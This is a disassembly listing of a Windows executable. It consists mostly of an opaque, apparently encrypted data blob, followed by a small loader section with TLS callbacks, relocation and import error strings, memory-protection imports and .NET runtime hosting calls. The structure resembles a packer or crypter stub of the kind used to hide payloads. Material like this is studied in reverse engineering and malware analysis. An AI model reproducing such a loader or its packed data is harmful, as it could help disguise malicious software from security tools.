		dd 1276D3Eh, 8EE10976h,	3059D96Bh, 0B6CCB85Bh, 34AE9798h
		dd 7E3476F5h, 30968EE4h, 877B87FBh, 4562EDD1h, 0B381AF1Dh
		dd 7FEC6ED8h, 7A6C7545h, 0E304E1A6h, 663313CBh,	0B9B2FDCBh
		dd 670C9F6h, 87A1CA42h,	0D433104Dh, 0CA69928Ah,	61029D9Ah
		dd 0BF9A0DFh, 0FE60E99h, 1B4CF6B7h, 0D06181Ch, 3A58A82Fh
		dd 0E3E9BC5Ah, 6C94E370h, 336677FBh, 411346ECh,	4E1FFB7Dh
		dd 6955FED7h, 0A67A1C22h, 0C30E5F4Bh, 0AD453246h, 705B92F0h
		dd 0D8DB9F92h, 7B457893h, 0D5DF3E78h, 0EAD9227Bh, 0C6C9E8FCh
		dd 0BFB85486h, 0B9DDB03h, 7CA44F83h, 63FCD64Fh,	0ABB9726h
		dd 5108C9EEh, 95DF2CC9h, 48EC565Eh, 5DAA3185h, 0BA418A2h
		dd 55D591A5h, 26B1EEDh,	3E858FD4h, 0BD0E9A8Eh, 0C150D4CBh
		dd 336D062Ch, 2A29649Fh, 0DCBCC053h, 7BEBF133h,	1A736927h
		dd 0E59E66BFh, 941606DEh, 9CEDA2E0h, 4F91A9D8h,	37FAA927h
		dd 0C89BB157h, 0F9C6A9CAh, 0C07AAA70h, 6937DB21h, 9F2582B9h
		dd 4397CE9Bh, 1E7410D9h, 0F8AA02F3h, 0C064C375h, 32ADBD5Ah
		dd 8F220270h, 34751ABCh, 713BC049h, 0FFE7FD23h,	7C16A752h
		dd 67753C73h, 0FA1D7942h, 655695D8h, 25A864DEh,	8FED9308h
		dd 0DDFA2E5Ch, 25855880h, 0AE86CF36h, 0BEAB5B4Bh, 6BD222ECh
		dd 0CF284D30h, 0B1415B54h, 0A4F9CDB4h, 20C8DBDh, 7A0201A1h
		dd 9661A2B7h, 0EBD65FBh, 0C74ADD25h, 9F34C5B6h,	0BBBCD017h
		dd 0D838F6C4h, 6A0C9C32h, 0A4E7E84Fh, 0E4B38305h, 0E2A42F5Ch
		dd 0C72B9EB4h, 577273C7h, 0C05EE1C4h, 72FD7E6h,	66EEA9B2h
		dd 0F4C2B512h, 0C9DE6685h, 73F8A818h, 0AC59B9Fh, 60F08707h
		dd 2E85A6D3h, 8722A2B4h, 17C0F8D3h, 6F9B1208h, 2A71B319h
		dd 636D1DBEh, 0C0E5EB88h, 4CCF8654h, 187AA59Dh,	0FEA91518h
		dd 6EB0EB53h, 2E9F8E80h, 0A0E1B8DAh, 7AB52196h,	67BE50C0h
		dd 4F0F6CFFh, 6136F2D6h, 0BE22BAC9h, 8FAB7DF1h,	64FADD00h
		dd 0D7CB2CF2h, 1843CCF8h, 0ED782A5Eh, 66AE169Ch, 30974674h
		dd 0FB6CA751h, 15F476B0h, 0F25E3B40h, 53A5AF84h, 0D8CC963h
		dd 1DBD986Dh, 0DEF79D37h
		dd 12AF13CBh, 9D19FBCh,	0B643E86Ah, 0C7FB6B7h, 2C94B91Bh
		dd 0D5688470h, 8A34B4E6h, 0CE163571h, 75835EBFh, 5F1DC671h
		dd 0ED027B44h, 57F7E76Ah, 724E12DBh, 940589C2h,	0F33E475Ch
		dd 0C76C8386h, 26420794h, 0BA107ECAh, 9688E70Ah, 0B0C947E2h
		dd 0F961C97Dh, 6C41163Eh, 0E4B0E89h, 0A105FB28h, 385B7445h
		dd 1F52FD4Fh, 7FEB0C54h, 45C8A732h, 0ED1DB31Bh,	0E36F26F1h
		dd 22170F1Bh, 756699D4h, 5DDDF2C8h, 0B6BBEAE1h,	775CB0E5h
		dd 0DF613F33h, 0DA9545DEh, 45B8B358h, 4680F646h, 0D89956C4h
		dd 53D9F513h, 8F3FC94Ah, 2D302EFDh, 43C3CCDDh, 9A95D6C4h
		dd 0B930498h, 232BB1F2h, 79BE2324h, 40A3B408h, 0A0DE4A59h
		dd 0FECAFEA3h, 603AB187h, 142001FDh, 0F7C3ADDCh, 0BA4082E7h
		dd 781DA03Fh, 479B515Fh, 2C6A39FAh, 7B2056EEh, 9C778CDh
		dd 8E5D148Fh, 0D26125E6h, 7C65C422h, 12005F97h,	3EBD700h
		dd 0D8386741h, 0F263F541h, 949517Eh, 0B6A18B3Ah, 0E957B391h
		dd 91063E6Ch, 4A4126C1h, 0EB60FBF6h, 0DB65F2A8h, 4A08215Dh
		dd 9A854726h, 0D1245710h, 5734B48Fh, 7695F213h,	97F4AE8Bh
		dd 93D65340h, 930FE0DAh, 0E32CA85Eh, 988131F2h,	0C65AFAD7h
		dd 0B5B3F2BBh, 0FCDD6051h, 987FAC38h, 81DA1C01h, 1D99F7E5h
		dd 65677C4Bh, 9B4A18FDh, 0FC189389h, 0EE8F378Eh, 0A248807Bh
		dd 5EC7B6B6h, 0CB8E2F82h, 80C795A8h, 6E972A09h,	786B61A6h
		dd 152AFE80h, 0A195BDD5h, 0AFC37337h, 2510F31Dh, 7517BAB9h
		dd 43F3AE54h, 26BB7C2Bh, 957D4915h, 0FC5088DAh,	0FA6AC7h
		dd 4 dup(0)
		dd 0D2740000h, 36A3C002h, 4DE49277h, 6F519CE4h,	0DE1818F5h
		dd 0F2D07ACBh, 28F28943h, 0E5D453BDh, 0F57AA4DFh, 330A4EC0h
		dd 0B0DA4ED2h, 60C12253h, 86FACE66h, 23A83002h,	1258C609h
		dd 419F24FFh, 8C1D5203h, 23F86818h, 0BB79128Ch,	0A5AF2C0h
		dd 81A1A8B0h, 2E75206Ah, 9F38D88Eh, 0CB38E422h,	6F8E0F72h
		dd 0F35A60A3h, 1972E6B3h, 0FDAA91EBh, 4F678F5Fh, 5A9A7E88h
		dd 3D04A149h, 33B2ECD5h, 96D9CBFCh, 8275C3A3h, 112FA3F0h
		dd 0F0579417h, 67EE12F1h, 13674F09h, 3F055A65h,	49088873h
		dd 0A6A8B574h, 36B6843Dh, 97CCA6DCh, 11F0EBB0h,	7A0A9D5Ah
		dd 9EB6A2B4h, 4503C0B8h, 0F60EFA5Bh, 1CD5A938h,	2FD2D7D6h
		dd 4C17871Dh, 37A067EFh, 363CE59Bh, 0D52911D2h,	6FC71760h
		dd 0F9AF0CFFh, 3DFDD5BFh, 0EB1C8F44h, 7765BABEh, 9226C0B2h
		dd 0AF71920Ah, 33C1E6F1h, 0A3757E1Fh, 0C1EE6FE0h, 47DF4B04h
		dd 0A9D928C9h, 0DFB1DE9Eh, 6480F11Dh, 0AE6545B1h, 5A791929h
		dd 427F6074h, 0FEBDF347h, 0CC575CD7h, 4E2165D3h, 3A99DAFAh
		dd 3ADDB11Eh, 606C6DFBh, 0A90B3E13h, 92A62572h,	0E66E3B26h
		dd 71643E7Bh, 16A21EFDh, 4E7DF996h, 60BCA560h, 2985B609h
		dd 4966552Ah, 737B5435h, 0A53EB2BEh, 55586777h,	255F0E1Dh
		dd 230F2FE6h, 0C33A3A98h, 23D4C886h, 0EA2D5B55h, 0E3BE593Bh
		dd 2982FD5Dh, 0A2F62987h, 77F9263Ah, 0D813657Ah, 0C80A721Eh
		dd 0AAA6F251h, 5398B6FBh, 9997A828h, 0F2ED60F7h, 90731AAAh
		dd 0DCE8C0F9h, 0E099870Bh, 97627ADCh, 138F0625h, 765F3BCEh
		dd 7E0014Fh, 0F8F40602h, 69C1DE82h, 4D25B392h, 0EFDFCA4h
		dd 0B7D092F4h, 0CE3143C7h, 8E8BB9ECh, 6945179Dh, 0A88818B4h
		dd 0E76E6B1Ch, 88D3053Dh, 0CD1625D5h, 2FDD8F5Dh, 4E4A9A11h
		dd 27B0934Eh, 30461A8h,	177C0203h, 2440D537h, 4DB64F78h
		dd 7035E650h, 0E55F008Ch, 7E73DEDBh, 0FDD0875Dh, 75837BF0h
		dd 0A95B38B1h, 0B3AE90F9h, 0B9C0C2D2h, 0E7155AEEh, 20F43A59h
		dd 4F311A22h, 1BD85177h, 99CC34ECh, 0E2E2FA2h, 5383D98Ah
		dd 0B7E369A1h, 9FF9920Ah, 874A4BE1h, 558DD3CFh,	0D46743A7h
		dd 19D007D7h, 0BC31CAC8h, 0C4193345h, 641DBCD0h, 5C8EAB99h
		dd 0E144CD76h, 7BC03478h, 86A6293Ch, 893ED7D6h,	0F8E4D8Dh
		dd 386446D8h, 0AE85B790h, 19E18950h, 0CC10BD77h, 938EAB31h
		dd 0D6C72210h, 0CA3CF96h, 860BA2CBh, 6F85088Bh,	2D30ABFAh
		dd 0FCB3E341h, 2C42B499h, 0EA9364F8h, 7FA8C9A3h, 32C66FEAh
		dd 0C078BFB3h, 0D253350Ch, 0CDE6CB44h, 0BEFB84D5h, 60942A89h
		dd 4D52AF1Dh, 0BF8FC07Ah, 8065361Ah, 6F513BB1h,	9AD4EF8Fh
		dd 0BE165E5h, 4BE984A4h, 41E5EC9Fh, 0AE2CF0FAh,	0F7929B57h
		dd 18851D6Bh, 0C763FA34h, 90D6C54Fh, 0B8D791F8h, 567DB958h
		dd 867EC943h, 0E7D1A54h, 0B38601E7h, 8A487A8Fh,	40FE2C37h
		dd 0C8129207h, 78F3592Bh, 73155F9Fh, 28A51D28h,	7228C631h
		dd 44E8BF77h, 3C0ED513h, 1A629093h, 901B538Ah, 3204319h
		dd 0F4ECD6C7h, 7E659F43h, 7427EA72h, 81830AD9h,	2C209799h
		dd 430BD39Ch, 0B3E07E65h, 744CCE85h, 0F11F281Eh, 0B05490B7h
		dd 0B0D9D50Ah, 3D471177h, 6EF201E3h, 1ECC4362h,	0BFB4D4CDh
		dd 5599F652h, 0D31A82F3h, 2BE3A4FFh, 0EF2A5D2Ch, 295ADA51h
		dd 0A59A3E4Eh, 80428F4Eh, 0DCB4334Dh, 630DBA44h, 213C1A16h
		dd 0E2A586A4h, 4394B372h, 83114435h, 0CEAF42C9h, 4484A45Eh
		dd 0F7DF6996h, 0A238A8F6h, 8FB8357Eh, 0F05DCACFh, 0FE19174h
		dd 0AF0D8A0h, 0C3F02304h, 47255849h, 0D5EA7971h, 1288068Ch
		dd 1F87F84Fh, 1B13340Fh, 7DE3BB1Fh, 52C44F92h, 22CA66FCh
		dd 2D724584h, 5B35F6A9h, 8D4825BDh, 0B227D7C8h,	2C27D417h
		dd 0D590D85Fh, 36EC891Ah, 7D371AA0h, 788ADD02h,	0EE85A062h
		dd 55F13EC5h, 6615426Ah, 7A1ECBFAh, 8257119Ch, 1D69695Ch
		dd 89A22F3Ah, 0D0B68C85h, 2AC5A25Bh, 8057E179h,	4DB1E1A1h
		dd 7CB01DD3h, 0B72E0FE5h, 0BABDE094h, 15F49B1Fh, 2A7689D6h
		dd 0AE5D7350h, 43A40A6Dh, 494BD389h, 24500C78h,	98160BF8h
		dd 2455E205h, 1B1A0A2Ah, 0A8272189h, 0AF1FE41Fh, 725F0FCh
		dd 944A6769h, 0C8D7DA87h, 6368026Fh, 0E7ED32F5h, 79BEEE21h
		dd 0C76BE1CDh, 0DA76A8A9h, 0D68BA97Ch, 220DAB1Dh, 2CCC2FF8h
		dd 30CFD4A9h, 77713F1Fh, 0A1676C00h, 9B35B358h,	0DE20BD50h
		dd 141E1F7Fh, 9F3D82A5h, 4FEDA26Ch, 0FF681163h,	0F289D54Dh
		dd 93B44EAEh, 0BE76E9ECh, 592CF851h, 5C07D0DBh,	4991CC41h
		dd 0F9C86C6Bh, 0E2518C1Dh, 0FF019397h, 0DEB30E1Bh, 62E8ED7Ah
		dd 0A65588Fh, 0A0C5E2B3h, 49B9B4ABh, 0EBA95FE1h, 722FD6F8h
		dd 90BFC8B8h, 87D8B274h, 58C22120h, 617EF67Dh, 73A54A6Eh
		dd 31AEBEC9h, 1AB97143h, 0E6C1D9B8h, 0CFCA1055h, 0B8BB2581h
		dd 0D67D1858h, 0EE02163Ah, 8411DB5Fh, 19B8A87Ch, 7399F4E7h
		dd 39312A87h, 9162B8ECh, 910222C2h, 0F80F55DAh,	926D4428h
		dd 7EEF9F57h, 4E1FA515h, 8437B594h, 69961B6Eh, 587C48A6h
		dd 0AD87E33h, 8E1A8BCFh, 0CBFA2AEAh, 31874D7Eh,	0B5C33097h
		dd 3C4270D1h, 0B53BB19Fh, 3A0DB9BCh, 26227FDFh,	0A2CBC95Bh
		dd 21D9BAE9h, 5F3D2B76h, 0D02BB595h, 171D1850h,	0ADFC3306h
		dd 0EA54C675h, 0D13CE570h, 1E536F7Ah, 30E85590h, 0B28FA39Eh
		dd 0B18E3312h, 612AB39Fh, 0F5EBD858h, 0E887B511h, 6FDD51D8h
		dd 9DE74AC4h, 0E3C6E59Bh, 15DB857Ah, 896993B5h,	0E0BAC491h
		dd 6C43BA12h, 62DAC562h, 90F72180h, 88A95A26h, 0A0ED85E6h
		dd 0D946E082h, 0D9155868h, 0E69E0DCFh, 664391FFh, 16E5699Fh
		dd 0B1AE6BCFh, 0B3EA6A82h, 81DB670Dh, 7C6C7D81h, 0B6C7910Eh
		dd 93812D93h, 45BA8266h, 85D8ED47h, 50403630h, 0E283D179h
		dd 4C641CA0h, 2900C0C2h, 0C0AE15AFh, 388A72EDh,	5C4C98C7h
		dd 2985A912h, 0B5AFEAC1h, 43C37578h, 2EBB7ACDh,	0D5E92744h
		dd 2FD18C5Ah, 59CC846Ah, 6C43D5ECh, 8D4BCC0Ah, 0B54A86BDh
		dd 0CA8B3F94h, 9E462841h, 3A8B4CCDh, 20B0C5A7h,	685A3633h
		dd 4A897D65h, 893E1FDBh, 4655EAAEh, 5FF83488h, 2F73BAB7h
		dd 6C5E2DACh, 7F994FE3h, 0B2EFF814h, 5733B195h,	3B3D0D04h
		dd 0ADF35DF0h, 0A7F0C858h, 766B10ABh, 924B399h,	8F7FD1E1h
		dd 727DEFC9h, 0E69C363Ch, 0DB3B3D1Ah, 0D9F9E641h, 50E24882h
		dd 53B15A5Dh, 0A8495F48h, 7A05E6A5h, 6BB46010h,	0AB2F9119h
		dd 3DEE2B5Ch, 0DAA836A7h, 0C92042E1h, 0C0B1AF59h, 0C9A59787h
		dd 629E4F71h, 0F23AD691h, 19607DC6h, 6DA83FABh,	0F55ADC67h
		dd 0A7FF2235h, 0D54EB175h, 48EE3CDBh, 0DD8C6011h, 1FB08C87h
		dd 0D4664143h, 441617F1h, 295FC64Fh, 8FDB943Fh,	26DAEEB4h
		dd 0AF8CC5Dh, 32A25827h, 3FD9036Dh, 0A9C5ED35h,	0E0C47D21h
		dd 0A10B86BAh, 7DF65200h, 0E53D9054h, 3B259A64h, 1C46D348h
		dd 0B75AF2A5h, 68C935DBh, 836CA9C5h, 4D0E5D5Ch,	0F9EAC60Bh
		dd 84F5749h, 0F6F5D04Eh, 12240F1h, 5EC217AFh, 4A69BF07h
		dd 0C9BD0A4Dh, 29A2D024h, 51D4C267h, 0C1D50491h, 6396A01Ch
		dd 94517E59h, 3F5FBF2Fh, 0F7CE3048h, 658854B5h,	513A7772h
		dd 8D960EC6h, 80F13395h, 638E8AE8h, 0E6436C43h,	1FB9BCDAh
		dd 0E3ECB2B5h, 8E0D65EFh, 703CDA3Dh, 0AC0697C4h, 705D6B1Ah
		dd 2B1264FDh, 0EB0DEF73h, 909C26EDh, 7DBF42DAh,	19C5247h
		dd 0B1317AD9h, 182C6275h
		dd 501D3CC7h, 0B9F23D99h, 62C4A71Ch, 4B4D98CEh,	3487C08h
		dd 645B65DEh, 0BB0C7B96h, 6F5568C0h, 13E37AF7h,	77AB2215h
		dd 9530673Dh, 83C5CC2Fh, 0A1046C42h, 0E561E178h, 0E7A48A9Dh
		dd 9FAF2ADh, 11E2984h, 0D5C23F25h, 2F411202h, 0B55F81B6h
		dd 87B9E84Eh, 7181B2CFh, 0A39BFCC4h, 7F2C1189h,	0E7449844h
		dd 1A18CAF5h, 7C0F698Ah, 10CF1CF7h, 383BCB54h, 0D9D81C7Eh
		dd 5F4B398Dh, 5A7BBB7Fh, 3134C70h, 5A89CF61h, 0CF828CF8h
		dd 0CEAB2AEBh, 0A33FAEBDh, 9F71DE1h, 0F3F04A4Dh, 182BBFCCh
		dd 50D1CE2Fh, 5D1ECAEDh, 297CD2D5h, 9F4D265Fh, 0A045643h
		dd 3B8E484Fh, 1EA336EDh, 0D4F1AA88h, 0AA4AC654h, 9D035B8h
		dd 745D39A2h, 487F1779h, 5FCB7D14h, 3BB04742h, 6B86A005h
		dd 91E9508h, 4E9D77B3h,	0D1433680h, 0EC2F1830h,	9D8FFAA7h
		dd 3141E435h, 0D4EBB551h, 1F0DF5E3h, 0DD4699B6h, 14F17340h
		dd 8AB69C20h, 0AA1B0A0Ah, 0BCB5B768h, 645F9533h, 0DD570463h
		dd 0C325826Fh, 0A43EEA49h, 0CA81AC39h, 91A53D88h, 3633D3CEh
		dd 1E1CB533h, 0AA810475h, 9194436Dh, 7B957283h,	43D0B069h
		dd 0C1E990ADh, 7B4E3172h, 0D85467D5h, 0B366B327h, 7083BF00h
		dd 9DAB68BAh, 5932FA56h, 486493E3h, 62C20D6Dh, 4D641943h
		dd 318AB46Eh, 0DF205216h, 682E012h, 7A7BAF84h, 7A0074CAh
		dd 959F9785h, 0AEA61993h, 2572DD22h, 39B40701h,	1360D6Ah
		dd 931F1B54h, 8DB67D82h, 0AB492001h, 0BF1D6DD9h, 841452ADh
		dd 0A24D3E21h, 0EC487FEDh, 4E579CCh, 5437490Ch,	4202B104h
		dd 0EB21D0F0h, 0A29BCB0Dh, 63218980h, 0D662F18Bh, 49362534h
		dd 0A60CDB3Eh, 79EF0AC4h, 9EE2AA52h, 55B4E45Eh,	0C1093A97h
		dd 7B6F1F35h, 0ACC25B47h, 0E269CC5Eh, 40F9EB12h, 9753B12Ch
		dd 0AC61AED2h, 5C8A986Ah, 4F6215E4h, 0F741062h,	4D2A5992h
		dd 8A671AACh, 0EB153C95h, 905E659Bh, 0C32395B7h, 7A3212Dh
		dd 0F21775A8h, 2BF88662h, 7BC75CB0h, 34A1F6CFh,	8DF5EE80h
		dd 1C0B5FDDh, 9E4E56A1h, 2ABE1837h, 982DBD49h, 6D546DBEh
		dd 7B21E544h, 0F0364BC7h, 660ADB05h, 6B3B285Dh,	0D1B40A4Ah
		dd 0B40852CEh, 0B57A2A8h, 0A8C827E8h, 0F87F90A2h, 0E9772C53h
		dd 5AB25C8Ah, 36CC5658h, 3FEFAD3h, 705FE912h, 449A8BBDh
		dd 29A26A7h, 9CEF0AC0h,	24085E8h, 0C1666ADDh, 74C9A60Ah
		dd 0F5B4CDCDh, 0C1E3AB67h, 6D0B191Fh, 123284C7h, 0BEFEB8D5h
		dd 0AE63524Bh, 2EAEA7A5h, 19532912h, 7B6C8FF0h,	9DF6D943h
		dd 0F9C577B8h, 0A550A4F6h, 8B3566CDh, 226E5C44h, 3A2134ADh
		dd 0EAD9DACEh, 0C1DDBFDFh, 86B1A4FBh, 0AC37B8C0h, 2CCF89Ah
		dd 8E98D4A9h, 9293C57Ah, 0B91AE1A2h, 0D4852C4Ah, 0EBBAC1D1h
		dd 0F1BB3EFBh, 0EEA0581Ah, 0B06E28B8h, 0CF6D081Ch, 0BD2B0F00h
		dd 9ADF7295h, 0E86058E2h, 0A95E6582h, 2291E57Fh, 0CB9B6DFEh
		dd 38273892h, 343DADB1h, 0B8D9C6CBh, 0D86DABCFh, 3F63C42Bh
		dd 44E89B34h, 0F8ABD9Eh, 9FD07578h, 8DC24688h, 0FE4BBB4Dh
		dd 1DFBC3F2h, 1D056C07h, 0C6F88A33h, 34E0553Eh,	73134186h
		dd 2D5938AAh, 2BBEC3D1h, 2E59D73h, 0F57F529Dh, 212B9442h
		dd 0FB0028F0h, 388837F4h, 612C28D3h, 2BCC144Fh,	9D94C920h
		dd 2797C32Ch, 0BDE0F7FAh, 0A6CA79E9h, 9184705Ch, 50DFFFAh
		dd 908900E0h, 339B445Dh, 5B93F0DDh, 0A2CE7AD8h,	52D9D76Dh
		dd 91EA09DBh, 8FAF688Eh, 0AB032924h, 0AE6130A9h, 78D66D1Eh
		dd 8A568ACCh, 82088D40h, 0F9D4DB88h, 0D65866BDh, 0E5C54E3Fh
		dd 27D86CFh, 31D9615Dh,	4F1E3122h, 1D9E3C4h, 64185C9Ch
		dd 0ADF05ECh, 295D8CCh,	0D9E1C68Ch, 7D0E46F6h, 0D7ED1520h
		dd 0A33D2EADh, 44E9F8CAh, 0C2561E6Eh, 7C6CA9FEh, 5EB63239h
		dd 0E8213D0Ah, 5D8F56B1h, 2280CEC1h, 64E3EAB0h,	5405D267h
		dd 0BD991AFFh, 0A64B6E80h, 0C4F73443h, 0FDFB8086h, 0CA88A026h
		dd 0C6196BE4h, 0F048B90Fh, 0FE1B2096h, 10119C44h, 0A05DF995h
		dd 7F7ABB4h, 0FDBA5C97h, 0E658D414h, 98A6CCBEh,	573D9CBDh
		dd 74008881h, 12E5265Bh, 0FD4E2369h, 2E6AE6F4h,	259C6E25h
		dd 6E24CC53h, 0A7901D47h, 4A83112Ch, 0D7B98F76h, 2ED046BDh
		dd 68D1C1C0h, 0E74B89EEh, 69832C93h, 9CED3F06h,	9BDDAFE0h
		dd 19053CBEh, 0D5DC07BDh, 59627F07h, 2D0B24E2h,	0BDDDEC8Eh
		dd 0EA5AE23Ch, 6E1D507Dh, 2D94BCCh, 7E8A898Ah, 408F280Ch
		dd 3FD7C88Ch, 0CC9A7524h, 185CD686h, 0C76DD12Dh, 0E2B38C98h
		dd 0B38C793Ah, 138AC976h, 7128DD3Eh, 0DA2E611Ch, 0B7114523h
		dd 0ED87D3ECh, 8D4A7B3h, 8B0C552Bh, 0EBE6B16Fh,	0A504170Eh
		dd 0B0926A45h, 0B4E03935h, 1762F3E3h, 84D29BF6h, 90CDE982h
		dd 0B4357A9Fh, 70147201h, 0A9DAB12Ah, 9781EFAAh, 33736541h
		dd 0E86B41A7h, 3B26CAEEh, 0FFA312C0h, 597BFCBAh, 712BA61Bh
		dd 0CB89A9Bh, 95AEFD2h,	0C8D4501h, 6E855DE0h, 6FC82361h
		dd 2AA959DBh, 0A539C5BAh, 2E385AE4h, 1CB2BC92h,	1C56512Ch
		dd 0C78364ECh, 0F6740E93h, 0FAF6BA5Ah, 0B15C7EC0h, 0F66B59A8h
		dd 5CECCC66h, 0E70E03D0h, 0BC93AAA1h, 7AEAB2F1h, 0E0F67DA9h
		dd 0FA42B2B7h, 0D7ED35D2h, 4DD870C3h, 0FA4F664Ah, 0DCB702ABh
		dd 515301BFh, 9C05DACFh, 3816F413h, 852AA59Ah, 0A86BDDC8h
		dd 12B16272h, 0B717D47Eh, 0E103F419h, 181C8796h, 75B54255h
		dd 5E873A45h, 0B06D8DD2h, 0B1A81A94h, 0B6E9C979h, 0C69CD56h
		dd 8BE5892Ah, 499EEBF4h, 662E02D2h, 31446F3Fh, 0B03C99Bh
		dd 0AA6D7DB1h, 5B8CD3A9h, 55907C7h, 8C6141A1h, 0ECA41936h
		dd 13F374FCh, 9E4A2BD9h, 0D05A4908h, 722A222Bh,	390854DBh
		dd 0B760703Ch, 26057370h, 3580BCBDh, 99777D15h,	0E8CDFB96h
		dd 0C408ED8Ch, 37DBCC1Eh, 0E648F859h, 0B96DB027h, 8416133Ch
		dd 6A41C4A9h, 0C09C2F2Dh, 649EEFFh, 0D71A192Fh,	64CD060Ch
		dd 0BC300DD9h, 0D3224367h, 76EC30B3h, 1E974B50h, 4C7A4041h
		dd 69852F36h, 75225736h, 4CBE7842h, 33A8AF82h, 0DC879CF7h
		dd 5DF3321Ch, 2D42A2E0h, 7D3C700Eh, 0D344EDDBh,	0D10338E5h
		dd 95EE8C13h, 470CA19Ch, 85D48146h, 0ADCD8252h,	0D0965316h
		dd 0A6AB26F4h, 0BDAE3041h, 46B083D3h, 0FFB389F1h, 14270D5Ah
		dd 3A283B45h, 56AFB470h, 91E1EC7Dh, 0D0360E1Eh,	0B4C2DD71h
		dd 58B04D52h, 443D9BE2h, 0ABA8F344h, 683A1522h,	0DEDA2D06h
		dd 0BF405CD9h, 3A669C07h, 0D96CAE00h, 0DDBEBAE0h, 0D3B301FFh
		dd 0ACD7103Ch, 5BF01012h, 5E049C32h, 9A4ED987h,	0C1BB32B3h
		dd 0BD87F9BBh, 0EA52E9F2h, 0BCB736ADh, 0CCC78F60h, 0C0C5DC00h
		dd 0AB28658Ch, 8894476Bh, 8F68EAFDh, 54347AF1h,	0C1A83A76h
		dd 6202B108h, 0C511785Eh, 0D9D0C91Ah, 0F5DED933h, 0EC5037EAh
		dd 0B2C1118Dh, 6FE5BFBBh, 6C528E98h, 8470B3C6h,	66280D3Eh
		dd 0CCF26BBh, 9EBBF530h, 6BE685F9h, 5C8CA65Dh, 0D4056E3Ah
		dd 0FAD1C729h, 52183A60h, 3C3DA55Ah, 69AC0D2Ah,	71A4486Fh
		dd 8C152AA3h, 456A3E76h, 42E26C71h, 826771BFh, 0D3D6938Ch
		dd 886B2092h, 8BB5512Eh, 0B5891A53h, 665E246Bh,	0B724B361h
		dd 747868F0h, 15B7C68Ah, 0E53C6D80h, 7CDE26Ch, 6C3514DCh
		dd 1B7A2713h, 2BF4402Ah, 852531F1h, 0B159A0D9h,	694225Ch
		dd 8FAD86C2h, 842F147Ch, 2B7DFE16h, 9690C7A4h, 6A2AB0BBh
		dd 0EED8BE5Eh, 0E8D957A1h, 0C0AE9F4Ch, 40EFFB4Bh, 5D415536h
		dd 952B6F5Dh, 147AE6D5h
		dd 0FFFF711Eh, 826197C4h
_pdata		ends

; Section 3. (virtual address 00038000)
; Virtual size			: 000018AC (   6316.)
; Section size in file		: 000018AC (   6316.)
; Offset to raw	data for section: 00038000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_ex_cod		segment	para public 'CODE' use32
		assume cs:_ex_cod
		;org 438000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_438000	dd 17ECh		; DATA XREF: start:loc_438A55r
					; start+21o
TlsCallbacks	dd offset TlsCallback_0	; DATA XREF: .ex_cod:TlsCallbacks_ptro
		dd 0
dword_43800C	dd 1			; DATA XREF: TlsCallback_0+3r
					; sub_43928D+7w
dword_438010	dd 1			; DATA XREF: TlsCallback_0+32w
					; sub_43928Dr
dword_438014	dd 400000h		; DATA XREF: TlsCallback_0+3Cw
					; sub_43928D+1Fr
dword_438018	dd 1			; DATA XREF: TlsCallback_0+44w
					; sub_43928D+19r
dword_43801C	dd 0			; DATA XREF: TlsCallback_0+4Cw
					; sub_43928D+13r
dword_438020	dd 0			; DATA XREF: start+116r
off_438024	dd offset dword_4397EC	; DATA XREF: start+26w	start+2Br ...
dword_438028	dd 400000h		; DATA XREF: start+38w	start+4Cr ...
dword_43802C	dd 1			; DATA XREF: start+3Er
					; start:loc_438A96w
		dd 2 dup(0)
aUnexpectedRe_0	db 'Unexpected relocation type: *pw = 0x%04x  *pdw = 0x%08x',0
					; DATA XREF: start+734o
aErrorBadRelo_0	db 'Error bad relocation pointer: *pdw = 0x%08x',0 ; DATA XREF: start+6E4o
aTheHsFileIsL_2	db 'The %hs file is ',0Ah ; DATA XREF: start+595o
		db 'linked to missing export %hs:%hs.',0
		align 10h
aTheHsFileIsL_1	db 'The %hs file is ',0Ah ; DATA XREF: start+576o
		db 'linked to missing export %hs:0x%04x.',0
		align 4
aARequired_dl_0	db 'A required .DLL file, %hs, was not found.',0 ; DATA XREF: start+48Bo
		align 4
aErrorAllocat_0	db 'Error allocating memory!',0 ; DATA XREF: start+200o
		align 10h
dword_438150	dd 5F696DCh, 36632B29h,	38C48BADh, 13A7F29Ch ; DATA XREF: sub_4392B8+131o
aWks_0:					; DATA XREF: sub_4392B8+F1o
		unicode	0, <wks>,0
aOleaut32_dll_0	db 'oleaut32.dll',0     ; DATA XREF: sub_4392B8+57o
		align 4
aCorbindtorun_0	db 'CorBindToRuntimeEx',0 ; DATA XREF: sub_4392B8+4Fo
		align 4
aMscoree_dll_0	db 'mscoree.dll',0      ; DATA XREF: sub_4392B8+45o
aCouninitiali_0	db 'CoUninitialize',0   ; DATA XREF: sub_4392B8+38o
		align 4
aCoinitialize_0	db 'CoInitialize',0     ; DATA XREF: sub_4392B8+2Do
		align 4
aOle32_dll_0	db 'ole32.dll',0        ; DATA XREF: sub_4392B8+11o
		align 4
		dd 38200h, 2 dup(0)
		dd 38304h, 38234h, 38228h, 2 dup(0)
		dd 3832Ch, 3825Ch, 5 dup(0)
		dd 38268h, 38276h, 38286h, 38298h, 382AAh, 382BEh, 382D0h
		dd 382DEh, 382F4h, 0
		dd 38312h, 3831Eh, 0
dword_438234	dd 77E79E34h		; DATA XREF: sub_438960+ADr start+2E0r ...
dword_438238	dd 77E7980Ah		; DATA XREF: sub_438960+65r start+75r	...
dword_43823C	dd 77E7A5FDh		; DATA XREF: start+523r start+545r ...
dword_438240	dd 77E805B8h		; DATA XREF: start+43Br start+479r
dword_438244	dd 77E79F93h		; DATA XREF: start+425r
dword_438248	dd 77E6169Ah		; DATA XREF: start+40Dr start+5C9r ...
dword_43824C	dd 77E75CB5h		; DATA XREF: start+20Fr start+4AEr ...
dword_438250	dd 77E7A099h		; DATA XREF: start+AAr
dword_438254	dd 77E805D8h		; DATA XREF: sub_4392B8+9r
		dd 0
dword_43825C	dd 77D4C96Ah		; DATA XREF: start+493r start+57Er ...
dword_438260	dd 77D6ADD7h		; DATA XREF: start+207r start+4A6r ...
		align 8
		dd 69560378h, 61757472h, 6572466Ch, 3750065h, 74726956h
		dd 416C6175h, 636F6C6Ch, 1980000h, 50746547h, 41636F72h
		dd 65726464h, 7373h, 6F4C0249h,	694C6461h, 72617262h, 41784579h
		dd 1770000h, 4D746547h,	6C75646Fh, 6E614865h, 41656C64h
		dd 37B0000h, 74726956h,	506C6175h, 65746F72h, 7463h, 784500AFh
		dd 72507469h, 7365636Fh, 1750073h
